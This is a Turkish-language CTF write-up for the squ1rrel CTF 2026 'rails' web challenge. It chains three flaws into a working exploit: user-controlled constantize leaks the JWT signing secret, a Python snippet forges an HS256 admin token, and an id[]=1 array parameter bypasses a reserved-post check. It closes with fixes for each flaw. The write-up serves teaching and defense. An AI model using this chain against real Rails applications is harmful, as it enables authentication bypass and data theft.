squ1rrel CTF 2026 — rails Writeup

Üç küçük Rails hatası birbirine bağlanıyor: saldırgan kontrolündeki constantize JWT imzalama anahtarını sızdırıyor, admin middleware o anahtarla imzalanmış herhangi bir HS256 token'ı kabul ediyor ve bir dizi query parametresi reserved-post kontrolünü atlayarak flag'i döndürüyor.

5 dk okuma
ibrahimsql
934 kelime

squ1rrel CTF 2026 — rails

"rails" (Web), iki rotalık bir saldırı yüzeyi ve tek bir özel Rack middleware'inden oluşan stok bir Rails 8 uygulaması. Tek tek bakınca çarpıcı bir satır yok; ama üç sıradan hata birleşiyor: dinamik bir sabit (constant) çözümlemesi, yalnızca imzayı doğrulayıp başka hiçbir şeyi kontrol etmeyen bir JWT kontrolü ve bir dizinin kolayca geçtiği bir string karşılaştırması.

  • Etkinlik: squ1rrel CTF 2026
  • Kategori: Web
  • Stack: Ruby on Rails 8.1, Puma, SQLite
  • Flag formatı: squ1rrel{...}

1. Uygulama

config/routes.rb tam olarak iki endpoint sunuyor:

ruby
get "show/:resource", to: "show#index"
namespace :admin do
  get "posts", to: "posts#index"
end

show controller'ı yol parçasını bir sabite dönüştürüp üzerinde bir metot çağırıyor:

ruby
class ShowController < ApplicationController
  def index
    @resource = params[:resource]
 
    # If you want to add functionality to this endpoint, add
    # files in modules/
    resource_name = @resource + "Module"
    render json: { data: resource_name.constantize.new.show }
  end
end

Amaçlanan kullanım, her biri show metodu olan bir SomethingModule tanımlayan modules/*.rb dosyaları:

ruby
class DateModule
  def show
    Date.today
  end
end

Admin controller'ında, belirli bir satırı gizlemesi gereken bir koruma var:

ruby
class Admin::PostsController < ApplicationController
  def index
    id = params[:id]
    if id == "1"
      raise "This post is reserved, and cannot be viewed."
    end
 
    post = Post.where(id: params[:id]).first
    render json: { data: post }
  end
end

Ve veritabanı, flag 1. satırda olacak şekilde seed'leniyor:

ruby
Post.destroy_all
Post.create!(id: 1, content: ENV["FLAG"] || "test_flag")
Post.create!(id: 2, content: "Check out my blog!")
# ...

show içindeki her şey herkese açık. /admin/* ise bir middleware ile korunuyor (lib/middleware/admin_auth.rb):

ruby
def call(env)
  request = Rack::Request.new(env)
 
  if request.path.include?("admin")
    token = request.cookies['auth']
 
    if token
      begin
        hmac_secret = JWTSecret.new.show
        decoded_token = JWT.decode(token, hmac_secret, true, { algorithm: 'HS256' })
      rescue JWT::DecodeError => e
        return [401, { 'Content-Type' => 'text/plain' }, ['Invalid or Expired Admin Token']]
      end
    else
      return [401, { 'Content-Type' => 'text/plain' }, ['Missing Admin Authentication Cookie']]
    end
  end
 
  @app.call(env)
end

Üç şey göze çarpıyor: koruma yalnızca yol "admin" alt dizesini içerdiğinde çalışıyor; token, düz bir Ruby nesnesinden gelen bir HMAC anahtarıyla doğrulanıyor; ve başarılı bir çözümleme tek koşul — hiçbir claim, rol ya da süre (exp) incelenmiyor.

2. Hata 1 — saldırgan kontrolündeki constantize imzalama anahtarını sızdırıyor

resource_name = @resource + "Module" ve ardından resource_name.constantize. Sonek sabit ama önek kullanıcı girdisi; dolayısıyla adı Module ile biten her sabit erişilebilir. config/initializers/misc.rb erişilebilir olmaması gereken bir tanesini tanımlıyor:

class JWTModule < JWTSecret; end

JWTModule, tek public metodu secret'ı döndüren JWTSecret'tan miras alıyor:

ruby
class JWTSecret
  SECRET = ENV["JWT_SECRET"] || SecureRandom.base64(32).freeze
 
  def show
    SECRET
  end
end

Yani GET /show/JWT, JWTModule'ü çözümlüyor, örnekliyor ve miras alınan show'u çağırıyor:

GET /show/JWT  ->  {"data":"OUzeSCqm3qRMxQepGLfWnVFGcDJJUckW/vkAGyvaOaA="}

Bu değer, bir sonraki istekte admin middleware'inin kullandığı HMAC anahtarının ta kendisi. Var olmayan bir sabiti istemek çözümlemenin keyfi olduğunu doğruluyor (/show/Rails -> 500 NameError, 404 değil). Endpoint'e çerezsiz de erişilebiliyor, çünkü middleware yalnızca "admin" içeren yollarda devreye giriyor.

3. Hata 2 — yalnızca imzası kontrol edilen bir JWT

Middleware hiçbir şey imzalamıyor, kimseyi yetkilendirmiyor; yalnızca çerezin sızdırılan secret'la geçerli bir HS256 JWT olarak çözümlendiğini kanıtlıyor. audience, issuer, rol ya da exp kontrolü yok; yani imza eşleştiği sürece her payload geçer. Sızdırılan anahtarla token forge etmek önemsiz:

Python
import hmac, hashlib, base64, json
s = "OUzeSCqm3qRMxQepGLfWnVFGcDJJUckW/vkAGyvaOaA="
b64 = lambda b: base64.urlsafe_b64encode(b).rstrip(b'=')
h = b64(json.dumps({"alg": "HS256", "typ": "JWT"}, separators=(',', ':')).encode())
p = b64(json.dumps({"sub": "admin", "admin": True}, separators=(',', ':')).encode())
sig = b64(hmac.new(s.encode(), h + b'.' + p, hashlib.sha256).digest())
print((h + b'.' + p + b'.' + sig).decode())
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJhZG1pbiIsImFkbWluIjp0cnVlfQ.GJHJR5WUpdjWQDJA7P7YYnxj19LZAhGmSCHnnYdyrBI

Bunu auth çerezi olarak göndermek artık middleware'i geçiyor. Reserved kontrolü hâlâ önümüzde, ama yalnızca düz bir string karşılaştırmasıyla.

4. Hata 3 — dizi parametresi id == "1" kontrolünü alt ediyor

Controller id == "1" durumunu reddediyor, ardından Post.where(id: params[:id]) sorgusunu çalıştırıyor. Bu iki satır params[:id]'nin tipi konusunda anlaşamıyor. Normal bir query string'de params[:id], "1" string'idir ve koruma tetiklenir:

GET /admin/posts?id=1   ->  500  (RuntimeError: This post is reserved ...)

Ama Rack, id[]=1'i bir Array'e çeviriyor. ["1"] == "1" ifadesi false, dolayısıyla koruma atlanıyor; Active Record ise where(id: ["1"])'i rahatça id IN ('1') olarak genişletiyor — ve reserved satırı döndürüyor:

GET /admin/posts?id[]=1  ->  {"data":{"id":1,"content":"squ1rrel{...}", ...}}

Klasik bir parametre tip karışıklığı: kontrol bir gösterime bakıyor, sorgu başka bir gösterimi tüketiyor.

5. Zincirin uçtan uca hali

Text
# 1. imzalama secret'ını sızdır
GET /show/JWT
    -> {"data":"OUzeSCqm3qRMxQepGLfWnVFGcDJJUckW/vkAGyvaOaA="}
 
# 2. o secret ile HS256 admin token forge et (yukarıda)
 
# 3. sun ve reserved kontrolünü atla
GET /admin/posts?id[]=1
    Cookie: auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...GJHJR5WUpdjWQDJA7P7YYnxj19LZAhGmSCHnnYdyrBI
    -> {"data":{"id":1,"content":"squ1rrel{fake_flag_for_local_testing}", ...}}

Yol boyunca sağlamalar: çerez olmadan 401 Missing Admin Authentication Cookie; forge edilmiş çerezle düz id=1 hâlâ 500, bu da satırı açan şeyin token değil dizi parametresi olduğunu kanıtlıyor; id=2..4 ise olağan seed post'larını döndürüyor.

6. Her halkayı düzeltmek

  • Kullanıcı girdisini asla constantize etme. Bir allow-list map kullan ({ "date" => DateModule, ... }) ya da String#safe_constantize'i sabit bir kümeyle sınırla. Sabit bir sonek bağlamak çözümlemeyi güvenli yapmaz.
  • Secret'ları genel "her modülü render et" endpoint'leriyle ifşa etme. JWTSecret#show, public bir rota arkasındaki bir secret; modül deseni onu erişilebilir kıldı.
  • Yalnızca imzayı değil, JWT claim'lerini de doğrula. exp, aud, iss ve açık bir rolü kontrol et; algoritması beklenen olmayan token'ları reddet. İmzası geçerli olmak, yetkilendirme açısından geçerli olmak değildir.
  • Tipleri tutarlı karşılaştır. Kontrolden önce cast/normalize et (params[:id].to_s == "1"), daha iyisi params.require(:id) semantiği kullan ve düz bir tamsayı olmayan her şeye 404 döndür. Bir dizi asla bir yetkilendirme kararına ulaşmasın.
  • Middleware'i alt dizeyle değil tam yol ile sınırla. path.include?("admin") ayrıca /foo/adminbar ile de eşleşir; gerçek bir rota önekini eşleştir.

7. Flag

squ1rrel{fake_flag_for_local_testing}   # yerel çalıştırma; gerçek flag squ1rrel{...}
---
Bu yazıyı paylaş:
TwitterLinkedInFacebook

Ne düşünüyorsun?

Tepki bırakarak geri bildirim ver

İlgili Yazılar